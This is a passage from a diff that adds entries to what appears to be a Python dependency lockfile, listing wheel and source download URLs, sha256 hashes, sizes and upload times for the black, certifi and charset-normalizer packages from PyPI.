"sha256:0a0953b134f9335c2434864a643c842c44fba562155c738a2a37a4d61f00cad5", size = 1917015, upload-time = "2025-12-08T01:53:27.987Z" }, + { url = "https://files.pythonhosted.org/packages/41/37/68accadf977672beb8e2c64e080f568c74159c1aaa6414b4cd2aef2d7906/black-25.12.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:2355bbb6c3b76062870942d8cc450d4f8ac71f9c93c40122762c8784df49543f", size = 1741830, upload-time = "2025-12-08T01:54:36.861Z" }, + { url = "https://files.pythonhosted.org/packages/ac/76/03608a9d8f0faad47a3af3a3c8c53af3367f6c0dd2d23a84710456c7ac56/black-25.12.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9678bd991cc793e81d19aeeae57966ee02909877cb65838ccffef24c3ebac08f", size = 1791450, upload-time = "2025-12-08T01:44:52.581Z" }, + { url = "https://files.pythonhosted.org/packages/06/99/b2a4bd7dfaea7964974f947e1c76d6886d65fe5d24f687df2d85406b2609/black-25.12.0-cp314-cp314-win_amd64.whl", hash = "sha256:97596189949a8aad13ad12fcbb4ae89330039b96ad6742e6f6b45e75ad5cfd83", size = 1452042, upload-time = "2025-12-08T01:46:13.188Z" }, + { url = "https://files.pythonhosted.org/packages/b2/7c/d9825de75ae5dd7795d007681b752275ea85a1c5d83269b4b9c754c2aaab/black-25.12.0-cp314-cp314-win_arm64.whl", hash = "sha256:778285d9ea197f34704e3791ea9404cd6d07595745907dd2ce3da7a13627b29b", size = 1267446, upload-time = "2025-12-08T01:46:14.497Z" }, + { url = "https://files.pythonhosted.org/packages/68/11/21331aed19145a952ad28fca2756a1433ee9308079bd03bd898e903a2e53/black-25.12.0-py3-none-any.whl", hash = "sha256:48ceb36c16dbc84062740049eef990bb2ce07598272e673c17d1a7720c71c828", size = 206191, upload-time = "2025-12-08T01:40:50.963Z" }, +] + +[[package]] +name = "certifi" +version = "2025.11.12" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/8c/58f469717fa48465e4a50c014a0400602d3c437d7c0c468e17ada824da3a/certifi-2025.11.12.tar.gz", hash = "sha256:d8ab5478f2ecd78af242878415affce761ca6bc54a22a27e026d7c25357c3316", size = 160538, upload-time = "2025-11-12T02:54:51.517Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/70/7d/9bc192684cea499815ff478dfcdc13835ddf401365057044fb721ec6bddb/certifi-2025.11.12-py3-none-any.whl", hash = "sha256:97de8790030bbd5c2d96b7ec782fc2f7820ef8dba6db909ccf95449f2d062d4b", size = 159438, upload-time = "2025-11-12T02:54:49.735Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/13/69/33ddede1939fdd074bce5434295f38fae7136463422fe4fd3e0e89b98062/charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a", size = 129418, upload-time = "2025-10-14T04:42:32.879Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/b8/6d51fc1d52cbd52cd4ccedd5b5b2f0f6a11bbf6765c782298b0f3e808541/charset_normalizer-3.4.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d", size = 209709, upload-time = "2025-10-14T04:40:11.385Z" }, + { url = "https://files.pythonhosted.org/packages/5c/af/1f9d7f7faafe2ddfb6f72a2e07a548a629c61ad510fe60f9630309908fef/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8", size = 148814, upload-time = "2025-10-14T04:40:13.135Z" }, + { url = "https://files.pythonhosted.org/packages/79/3d/f2e3ac2bbc056ca0c204298ea4e3d9db9b4afe437812638759db2c976b5f/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad", size = 144467, upload-time = "2025-10-14T04:40:14.728Z" }, + { url = "https://files.pythonhosted.org/packages/ec/85/1bf997003815e60d57de7bd972c57dc6950446a3e4ccac43bc3070721856/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8", size = 162280, upload-time = "2025-10-14T04:40:16.14Z" }, + { url = "https://files.pythonhosted.org/packages/3e/8e/6aa1952f56b192f54921c436b87f2aaf7c7a7c3d0d1a765547d64fd83c13/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d", size = 159454, upload-time = "2025-10-14T04:40:17.567Z" }, + { url = "https://files.pythonhosted.org/packages/36/3b/60cbd1f8e93aa25d1c669c649b7a655b0b5fb4c571858910ea9332678558/charset_normalizer-3.4.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313", size = 153609, upload-time = "2025-10-14T04:40:19.08Z" }, + { url = "https://files.pythonhosted.org/packages/64/91/6a13396948b8fd3c4b4fd5bc74d045f5637d78c9675585e8e9fbe5636554/charset_normalizer-3.4.4-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e", size = 151849, upload-time = "2025-10-14T04:40:20.607Z" }, + { url = "https://files.pythonhosted.org/packages/b7/7a/59482e28b9981d105691e968c544cc0df3b7d6133152fb3dcdc8f135da7a/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93", size = 151586, upload-time = "2025-10-14T04:40:21.719Z" }, + { url = "https://files.pythonhosted.org/packages/92/59/f64ef6a1c4bdd2baf892b04cd78792ed8684fbc48d4c2afe467d96b4df57/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0", size = 145290, upload-time = "2025-10-14T04:40:23.069Z" }, + { url = "https://files.pythonhosted.org/packages/6b/63/3bf9f279ddfa641ffa1962b0db6a57a9c294361cc2f5fcac997049a00e9c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84", size = 163663, upload-time = "2025-10-14T04:40:24.17Z" }, + { url = "https://files.pythonhosted.org/packages/ed/09/c9e38fc8fa9e0849b172b581fd9803bdf6e694041127933934184e19f8c3/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e", size = 151964, upload-time = "2025-10-14T04:40:25.368Z" }, + { url = "https://files.pythonhosted.org/packages/d2/d1/d28b747e512d0da79d8b6a1ac18b7ab2ecfd81b2944c4c710e166d8dd09c/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db", size = 161064, upload-time = "2025-10-14T04:40:26.806Z" }, + { url = "https://files.pythonhosted.org/packages/bb/9a/31d62b611d901c3b9e5500c36aab0ff5eb442043fb3a1c254200d3d397d9/charset_normalizer-3.4.4-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6", size = 155015, upload-time = "2025-10-14T04:40:28.284Z" }, + { url = "https://files.pythonhosted.org/packages/1f/f3/107e008fa2bff0c8b9319584174418e5e5285fef32f79d8ee6a430d0039c/charset_normalizer-3.4.4-cp310-cp310-win32.whl", hash = "sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f", size = 99792, upload-time = "2025-10-14T04:40:29.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/66/e396e8a408843337d7315bab30dbf106c38966f1819f123257f5520f8a96/charset_normalizer-3.4.4-cp310-cp310-win_amd64.whl", hash = "sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d", size = 107198, upload-time = "2025-10-14T04:40:30.644Z" }, + { url = "https://files.pythonhosted.org/packages/b5/58/01b4f815bf0312704c267f2ccb6e5d42bcc7752340cd487bc9f8c3710597/charset_normalizer-3.4.4-cp310-cp310-win_arm64.whl", hash = "sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69", size = 100262, upload-time = "2025-10-14T04:40:32.108Z" }, + { url = "https://files.pythonhosted.org/packages/ed/27/c6491ff4954e58a10f69ad90aca8a1b6fe9c5d3c6f380907af3c37435b59/charset_normalizer-3.4.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8", size = 206988, upload-time = "2025-10-14T04:40:33.79Z" }, + { url = "https://files.pythonhosted.org/packages/94/59/2e87300fe67ab820b5428580a53cad894272dbb97f38a7a814a2a1ac1011/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0", size = 147324, upload-time = "2025-10-14T04:40:34.961Z" }, + { url = "https://files.pythonhosted.org/packages/07/fb/0cf61dc84b2b088391830f6274cb57c82e4da8bbc2efeac8c025edb88772/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3", size = 142742, upload-time = "2025-10-14T04:40:36.105Z" }, + { url = "https://files.pythonhosted.org/packages/62/8b/171935adf2312cd745d290ed93cf16cf0dfe320863ab7cbeeae1dcd6535f/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc", size = 160863, upload-time = "2025-10-14T04:40:37.188Z" }, + { url = "https://files.pythonhosted.org/packages/09/73/ad875b192bda14f2173bfc1bc9a55e009808484a4b256748d931b6948442/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897", size = 157837, upload-time = "2025-10-14T04:40:38.435Z" }, + { url = "https://files.pythonhosted.org/packages/6d/fc/de9cce525b2c5b94b47c70a4b4fb19f871b24995c728e957ee68ab1671ea/charset_normalizer-3.4.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381", size = 151550, upload-time = "2025-10-14T04:40:40.053Z" }, + { url = "https://files.pythonhosted.org/packages/55/c2/43edd615fdfba8c6f2dfbd459b25a6b3b551f24ea21981e23fb768503ce1/charset_normalizer-3.4.4-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815", size = 149162, upload-time = "2025-10-14T04:40:41.163Z" }, + { url = "https://files.pythonhosted.org/packages/03/86/bde4ad8b4d0e9429a4e82c1e8f5c659993a9a863ad62c7df05cf7b678d75/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0", size = 150019, upload-time = "2025-10-14T04:40:42.276Z" }, + { url = "https://files.pythonhosted.org/packages/1f/86/a151eb2af293a7e7bac3a739b81072585ce36ccfb4493039f49f1d3cae8c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161", size = 143310, upload-time = "2025-10-14T04:40:43.439Z" }, + { url = "https://files.pythonhosted.org/packages/b5/fe/43dae6144a7e07b87478fdfc4dbe9efd5defb0e7ec29f5f58a55aeef7bf7/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4", size = 162022, upload-time = "2025-10-14T04:40:44.547Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/7aab83774f5d2bca81f42ac58d04caf44f0cc2b65fc6db2b3b2e8a05f3b3/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89", size = 149383, upload-time = "2025-10-14T04:40:46.018Z" }, + { url = "https://files.pythonhosted.org/packages/4f/e8/b289173b4edae05c0dde07f69f8db476a0b511eac556dfe0d6bda3c43384/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569", size = 159098, upload-time = "2025-10-14T04:40:47.081Z" }, + { url = "https://files.pythonhosted.org/packages/d8/df/fe699727754cae3f8478493c7f45f777b17c3ef0600e28abfec8619eb49c/charset_normalizer-3.4.4-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224", size = 152991, upload-time = "2025-10-14T04:40:48.246Z" }, + { url = "https://files.pythonhosted.org/packages/1a/86/584869fe4ddb6ffa3bd9f491b87a01568797fb9bd8933f557dba9771beaf/charset_normalizer-3.4.4-cp311-cp311-win32.whl", hash = "sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a", size = 99456, upload-time = "2025-10-14T04:40:49.376Z" }, + { url = "https://files.pythonhosted.org/packages/65/f6/62fdd5feb60530f50f7e38b4f6a1d5203f4d16ff4f9f0952962c044e919a/charset_normalizer-3.4.4-cp311-cp311-win_amd64.whl", hash = "sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016", size = 106978, upload-time = "2025-10-14T04:40:50.844Z" }, + { url = "https://files.pythonhosted.org/packages/7a/9d/0710916e6c82948b3be62d9d398cb4fcf4e97b56d6a6aeccd66c4b2f2bd5/charset_normalizer-3.4.4-cp311-cp311-win_arm64.whl", hash = "sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1", size = 99969, upload-time = "2025-10-14T04:40:52.272Z" }, + { url = "https://files.pythonhosted.org/packages/f3/85/1637cd4af66fa687396e757dec650f28025f2a2f5a5531a3208dc0ec43f2/charset_normalizer-3.4.4-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394", size = 208425, upload-time = "2025-10-14T04:40:53.353Z" }, + { url = "https://files.pythonhosted.org/packages/9d/6a/04130023fef2a0d9c62d0bae2649b69f7b7d8d24ea5536feef50551029df/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25", size = 148162, upload-time = "2025-10-14T04:40:54.558Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/62328d79aa60da22c9e0b9a66539feae06ca0f5a4171ac4f7dc285b83688/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef", size = 144558, upload-time = "2025-10-14T04:40:55.677Z" }, + { url = "https://files.pythonhosted.org/packages/86/bb/b32194a4bf15b88403537c2e120b817c61cd4ecffa9b6876e941c3ee38fe/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d", size = 161497, upload-time = "2025-10-14T04:40:57.217Z" }, + { url = "https://files.pythonhosted.org/packages/19/89/a54c82b253d5b9b111dc74aca196ba5ccfcca8242d0fb64146d4d3183ff1/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8", size = 159240, upload-time = "2025-10-14T04:40:58.358Z" }, + { url = "https://files.pythonhosted.org/packages/c0/10/d20b513afe03acc89ec33948320a5544d31f21b05368436d580dec4e234d/charset_normalizer-3.4.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86", size = 153471, upload-time = "2025-10-14T04:40:59.468Z" }, + { url = "https://files.pythonhosted.org/packages/61/fa/fbf177b55bdd727010f9c0a3c49eefa1d10f960e5f09d1d887bf93c2e698/charset_normalizer-3.4.4-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a", size = 150864, upload-time = "2025-10-14T04:41:00.623Z" }, + { url = "https://files.pythonhosted.org/packages/05/12/9fbc6a4d39c0198adeebbde20b619790e9236557ca59fc40e0e3cebe6f40/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f", size = 150647, upload-time = "2025-10-14T04:41:01.754Z" }, + { url = "https://files.pythonhosted.org/packages/ad/1f/6a9a593d52e3e8c5d2b167daf8c6b968808efb57ef4c210acb907c365bc4/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc", size = 145110, upload-time = "2025-10-14T04:41:03.231Z" }, + { url = "https://files.pythonhosted.org/packages/30/42/9a52c609e72471b0fc54386dc63c3781a387bb4fe61c20231a4ebcd58bdd/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf", size = 162839, upload-time = "2025-10-14T04:41:04.715Z" }, + { url = "https://files.pythonhosted.org/packages/c4/5b/c0682bbf9f11597073052628ddd38344a3d673fda35a36773f7d19344b23/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15", size = 150667, upload-time = "2025-10-14T04:41:05.827Z" }, + { url = "https://files.pythonhosted.org/packages/e4/24/a41afeab6f990cf2daf6cb8c67419b63b48cf518e4f56022230840c9bfb2/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9", size = 160535, upload-time = "2025-10-14T04:41:06.938Z" }, + { url = "https://files.pythonhosted.org/packages/2a/e5/6a4ce77ed243c4a50a1fecca6aaaab419628c818a49434be428fe24c9957/charset_normalizer-3.4.4-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0", size = 154816, upload-time = "2025-10-14T04:41:08.101Z" }, + { url = "https://files.pythonhosted.org/packages/a8/ef/89297262b8092b312d29cdb2517cb1237e51db8ecef2e9af5edbe7b683b1/charset_normalizer-3.4.4-cp312-cp312-win32.whl", hash = "sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26", size = 99694, upload-time = "2025-10-14T04:41:09.23Z" }, + { url = "https://files.pythonhosted.org/packages/3d/2d/1e5ed9dd3b3803994c155cd9aacb60c82c331bad84daf75bcb9c91b3295e/charset_normalizer-3.4.4-cp312-cp312-win_amd64.whl", hash = "sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525", size = 107131, upload-time = "2025-10-14T04:41:10.467Z" }, + { url = "https://files.pythonhosted.org/packages/d0/d9/0ed4c7098a861482a7b6a95603edce4c0d9db2311af23da1fb2b75ec26fc/charset_normalizer-3.4.4-cp312-cp312-win_arm64.whl", hash = "sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3", size = 100390, upload-time = "2025-10-14T04:41:11.915Z" }, + { url = "https://files.pythonhosted.org/packages/97/45/4b3a1239bbacd321068ea6e7ac28875b03ab8bc0aa0966452db17cd36714/charset_normalizer-3.4.4-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794", size = 208091, upload-time = "2025-10-14T04:41:13.346Z" }, + { url = "https://files.pythonhosted.org/packages/7d/62/73a6d7450829655a35bb88a88fca7d736f9882a27eacdca2c6d505b57e2e/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed", size = 147936, upload-time = "2025-10-14T04:41:14.461Z" }, + { url = "https://files.pythonhosted.org/packages/89/c5/adb8c8b3d6625bef6d88b251bbb0d95f8205831b987631ab0c8bb5d937c2/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72", size = 144180, upload-time = "2025-10-14T04:41:15.588Z" }, + { url = "https://files.pythonhosted.org/packages/91/ed/9706e4070682d1cc219050b6048bfd293ccf67b3d4f5a4f39207453d4b99/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328", size = 161346, upload-time = "2025-10-14T04:41:16.738Z" }, + { url = "https://files.pythonhosted.org/packages/d5/0d/031f0d95e4972901a2f6f09ef055751805ff541511dc1252ba3ca1f80cf5/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede", size = 158874, upload-time = "2025-10-14T04:41:17.923Z" }, + { url = "https://files.pythonhosted.org/packages/f5/83/6ab5883f57c9c801ce5e5677242328aa45592be8a00644310a008d04f922/charset_normalizer-3.4.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894", size = 153076, upload-time = "2025-10-14T04:41:19.106Z" }, + { url = "https://files.pythonhosted.org/packages/75/1e/5ff781ddf5260e387d6419959ee89ef13878229732732ee73cdae01800f2/charset_normalizer-3.4.4-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1", size = 150601, upload-time = "2025-10-14T04:41:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/d7/57/71be810965493d3510a6ca79b90c19e48696fb1ff964da319334b12677f0/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490", size = 150376, upload-time = "2025-10-14T04:41:21.398Z" }, + { url = "https://files.pythonhosted.org/packages/e5/d5/c3d057a78c181d007014feb7e9f2e65905a6c4ef182c0ddf0de2924edd65/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44", size = 144825, upload-time = "2025-10-14T04:41:22.583Z" }, + { url = "https://files.pythonhosted.org/packages/e6/8c/d0406294828d4976f275ffbe66f00266c4b3136b7506941d87c00cab5272/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133", size = 162583, upload-time = "2025-10-14T04:41:23.754Z" }, + { url = "https://files.pythonhosted.org/packages/d7/24/e2aa1f18c8f15c4c0e932d9287b8609dd30ad56dbe41d926bd846e22fb8d/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3", size = 150366, upload-time = "2025-10-14T04:41:25.27Z" }, + { url = "https://files.pythonhosted.org/packages/e4/5b/1e6160c7739aad1e2df054300cc618b06bf784a7a164b0f238360721ab86/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e", size = 160300, upload-time = "2025-10-14T04:41:26.725Z" }, + { url = "https://files.pythonhosted.org/packages/7a/10/f882167cd207fbdd743e55534d5d9620e095089d176d55cb22d5322f2afd/charset_normalizer-3.4.4-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc", size = 154465, upload-time = "2025-10-14T04:41:28.322Z" }, + { url = "https://files.pythonhosted.org/packages/89/66/c7a9e1b7429be72123441bfdbaf2bc13faab3f90b933f664db506dea5915/charset_normalizer-3.4.4-cp313-cp313-win32.whl", hash = "sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac", size = 99404, upload-time = "2025-10-14T04:41:29.95Z" }, + { url = "https://files.pythonhosted.org/packages/c4/26/b9924fa27db384bdcd97ab83b4f0a8058d96ad9626ead570674d5e737d90/charset_normalizer-3.4.4-cp313-cp313-win_amd64.whl", hash = "sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14", size = 107092, upload-time = "2025-10-14T04:41:31.188Z" }, + { url = "https://files.pythonhosted.org/packages/af/8f/3ed4bfa0c0c72a7ca17f0380cd9e4dd842b09f664e780c13cff1dcf2ef1b/charset_normalizer-3.4.4-cp313-cp313-win_arm64.whl", hash = "sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2", size = 100408, upload-time = "2025-10-14T04:41:32.624Z" }, + { url = "https://files.pythonhosted.org/packages/2a/35/7051599bd493e62411d6ede36fd5af83a38f37c4767b92884df7301db25d/charset_normalizer-3.4.4-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd", size = 207746, upload-time = "2025-10-14T04:41:33.773Z" }, + { url = "https://files.pythonhosted.org/packages/10/9a/97c8d48ef10d6cd4fcead2415523221624bf58bcf68a802721a6bc807c8f/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb", size = 147889, upload-time = "2025-10-14T04:41:34.897Z" }, + { url = "https://files.pythonhosted.org/packages/10/bf/979224a919a1b606c82bd2c5fa49b5c6d5727aa47b4312bb27b1734f53cd/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e", size = 143641, upload-time = "2025-10-14T04:41:36.116Z" }, + { url = "https://files.pythonhosted.org/packages/ba/33/0ad65587441fc730dc7bd90e9716b30b4702dc7b617e6ba4997dc8651495/charset_normalizer-3.4.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14", size = 160779, upload-time = "2025-10-14T04:41:37.229Z" }, + { url = 